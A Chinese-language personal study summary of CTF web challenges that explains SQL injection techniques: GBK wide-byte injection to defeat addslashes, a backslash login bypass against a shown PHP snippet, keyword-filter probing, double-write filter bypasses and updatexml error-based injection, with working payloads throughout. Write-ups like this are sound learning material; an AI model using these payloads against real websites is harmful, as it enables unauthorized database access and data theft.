CTF知识点个人总结 —WEB
- 前言
information_schema的表tables中的列table_schema记录了所有数据库的名字
information_schema的表tables中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列table_schema记录了所有数据库的名字
information_schema的表columns中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列column_name记录了所有数据库的表的列的名字
就拿CGCTF上的bgk-injection来说明叭。
可以看到这里是将’给转义了,判断可能是用了addslashes()
函数进行转义。
addslashes()
函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。这个时候我们要做的是如何去掉斜杠,而gbk编码方式就决定了可以将斜杠消去。
通常来说,一个gbk编码的汉字通常占用两个字节,一个utf-8编码汉字,占用三个字节。我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。但是我们怎么知道mysql是怎么判断是汉字的呢?只要前面字符的ascii码值大于128,那么在gbk编码下就会认为是宽字符。所以这个时候不妨id=%df'
,这个时候%df\
在urlencode后就是%df%5c
就会将其视为宽字符,是一个'運'
字,这样就能成功消去\
的转义,%d5%5c
同样是一个payload,后面在进行手工正常注入即可。
(注意:后面的查询语句查询语句也可能出现引号,所以为了避免继续转移,将数据库表(字段)转成16进制即可)
<?php
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
?>
是要请求的结果和mysql_num_rows()
返回结果集中行的数目都要为真才能得到flag。后面语句中'
前的斜杠是用来转义,避免和整个语句的'
发生冲突。本地运行后
这个时候我们就要想到\
可以转义单引号,那我们要做的是使这个select
为真,构造这个payload:?username=\&password=or 1=1 %23
,我们可以发现查询语句就会变成SELECT * FROM users WHERE name='\' AND pass=' or 1=1 %23';
这样查询条件始终为真,成功绕过。
利用一道bugku的题目来进行分析。
直接说这里可以SQLi,但是输入单引号后出现ERROR页面,?id=1'or 1=1--+ 也错
,但是直接在后面输入注释符?id=1' --+
显示正确,而?id=1' oorr 1=1 --+
显示正确,说明存在过滤。我们需要知道其过滤的关键词,可以手工双写判断,这里发现异或判断过滤,两个条件相同(同真或同假)即为假。可以这样构造
?id=1'^(length('or')!=0) %23
,这样构造前面为真,如果过滤了or
则后面是假,会得到正常返回,再将其放在burp上跑字典即可得到所有过滤关键词.。
可以看到过滤了这些关键词,所以我们直接双写绕过过滤查询。
1.查找库名。-1'ununionion selselectect 1,database() %23
2.查找表名。-1'ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23
注意过滤了or
,而information
中也有or
,因此也要双写绕过。
3.查询相应字段。-1'ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1/hint" %23
->这里有俩个表
最后查询内容发现,flag1
只有一部分,而address
后给了一个新的url,所以继续进入。
这里又是第二个页面,同样提示需要SQLi。所以这个时候先试试,发现仍然过滤了substr
,union
等关键词。这个时候burp抓包发现利用xml,想到了注入中的报错注入。
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:
名称 | 名称 |
---|---|
extractValue() | updatexml |
使用XPath表示法从XML字符串中提取值 | 返回替换的XML片段 |
通过这两个函数可以完成报错注入。
这里其实我们不太需要具体掌握函数的语法结构,大致查找了一下。
extractvalue() :对XML文档进行查询的函数。
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。具体可以查看博客。
同理,updatexml()
函数与extractvalue()
类似,是更新xml文档的函数。
语法updatexml
(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
这是没有语法错误的,不会报错,但是我们故意写成有语法错误,并且在第二个参数中填入我们想要查询的值,是可以被识别并且回显的。
所以我们利用报错注入来查找库名、表名和字段,最终得到flag。构造的payload和上述一致。(注:在bugku中过滤了extractvalue
函数,但是没有过滤updatexml
),因此我们使用updatexml
进行查询即可。
后面把查表、查字段语句附上,就可以得到flag了。
由于SQLi知识很多,等以后学习insert注入等在进行总结叭